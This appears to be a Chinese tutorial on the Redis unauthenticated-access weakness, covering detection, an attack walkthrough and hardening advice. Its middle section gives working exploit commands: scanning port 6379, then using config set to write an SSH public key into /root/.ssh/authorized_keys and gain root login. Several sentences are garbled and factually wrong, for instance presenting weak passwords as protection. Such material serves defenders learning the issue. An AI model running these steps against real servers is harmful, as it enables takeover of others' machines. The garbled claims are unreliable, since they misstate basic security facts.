Redis 安全漏洞检测攻击机防御
Redis 安全漏洞检测攻击机防御
两天里,在阿里云上部署的测试服务器因未配置防火墙而成为攻击目标
Redis 安全漏洞
使用 redis-cli 接入你的 Redis 服务器,使用命令
config get *
如果发现以下两个配置被修改成了如下值,恭喜你,你已经被入侵了
0.0.1:6379> config get *
1) "dbfilename"
2) "authorized_keys"
103) "dir"
104) "/root/.ssh"
通常情况下,在网络攻击中被 highly skilled hackers 进行攻击后会尝试消除该痕迹。因此,在 /root/.ssh 目录中查找 authorized_keys 文件时,请确认其内容不属于用户的正常配置信息以避免误判。
目前常见的入侵途径是利用 Redis 的安全缺陷,在攻击过程中将目标计算机的 SSH 公钥注入到 /root/.ssh/authorized_keys 文件中。从而使得远程访问该机器无需输入密码。同时还可以用于创建文件以及插入其他数据
被攻击机器的条件:
- 该目标机器支持通过公网上线检测Redis服务状态。
- 公网接入通常情况下无需设置密码即可登录并执行命令;若需加强安全性可选择弱密码进行防护。
- Redis服务启动时采用root账户配置。
- 在接收到线后可执行config set命令来调整Redis配置参数。
如果发现被攻击,尽快对 /root/.ssh/authorized_keys 进行清理
下面,我们就从攻击者的角度来看一下如何检测并攻击该漏洞
Redis 安全漏洞检测及攻击
- 在本机上执行
ssh-keygen -t rsa
从本机 /root/.ssh 目录中运行命令生成两个文件 id_rsa 和 id_rsa.pub。用于 SSH 加密通信的核心密钥是 id_rsa, 其公钥 id RSA-PUB 用于 SSH 加密通信. 特别提醒: 请牢记公钥信息.
- 使用 nmap 对指定网段指定端口进行扫描:
nmap -sS xxx.xxx.xxx.0/24 -p6379 --open
通过 nmap 工具采用半开式扫描方法对目标网络段的 6379 端口执行扫描任务,并将结果反馈给相应的处理模块。

通过 redis 客户端提供的 redis-cli 工具连接扫描到的服务器。如果无法获取 redis-cli 版本,则可以直接采用 telnet 方式
redis-cli -h xxx.xxx.xxx.xxx
- 在 redis 客户端中执行命令
ping
如果返回 PONG,表示这个服务器的 Redis 没有设置密码
- 在 redis 客户端中执行命令
config set dir /root/.ssh
配置 Redis 的 data 目录设置为 /root/.ssh,在操作完成的情况下意味着服务器将使用 root 权限运行 Redis 服务,并未禁止任何配置集。这表明目标服务器处于可攻陷状态。
- 在 redis 客户端中执行命令
config set dbfilename authorized_keys
将 Redis 的数据文件指定为 authorized_keys
- 在 redis 客户端中执行命令
set xxxx "\n\n\nid_rsa.pub content\n\n\n"
id_rsa.pub 为第一部中生成的 id_rsa.pub 中的内容
- 在 redis 客户端中执行命令
save
将内存中的内容写入到文件中
- 退出 redis 客户端,直接使用 ssh 就可以免密码使用 root 登录目标机器了
Redis 安全漏洞防御
对该漏洞的防御一般从以下几个角度进行考虑:
- 目标机器 Redis 服务可以被公网检测
一般建议方案是将 redis 启动在 127.0.0.1 上,在配置文件找到 bind,做如下配置
bind 127.0.0.1
但是这种方法无法实现跨服务器的数据通信。通常的做法是将Redis集群部署于内网环境中以避免被公网监控系统发现。具体操作包括配置Redis集群内的防火墙规则,请参考我的配置文档。例如,在我的配置中
iptables -A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
iptables -A INPUT -s xxx.xxx.xxx.xxx/32 -p icmp -j ACCEPT
iptables -A INPUT -p icmp -j DROP
iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -j REJECT --reject-with icmp-host-prohibited
iptables -A FORWARD -j REJECT --reject-with icmp-host-prohibited
打开授信客户端的访问
iptables -I INPUT -s xxx.xxx.xxx.xxx/32 -p tcp --dport 6379 -j ACCEPT
公网接入后无需设置密码即可手动输入命令(通常默认情况下未配置密码);也可通过弱安全密码进行防护。
给 Redis 设置密码,在配置文件中找到 requirepass
requirepass XXXXXX
设置后,登录需要加 -a 参数
redis-cli -a XXXXXX
XXXXXX 为用户在配置文件中添加的密码
- Redis 服务使用 root 账户进行启动
使用其它账户启动 Redis 服务
- 接入后可以使用 config set 命令修改 Redis 配置
关闭某些命令,如关闭 config 命令,在配置文件中添加下面一行,重新启动
rename-command CONFIG ""
再次接入后就会发现 config 命令找不到了
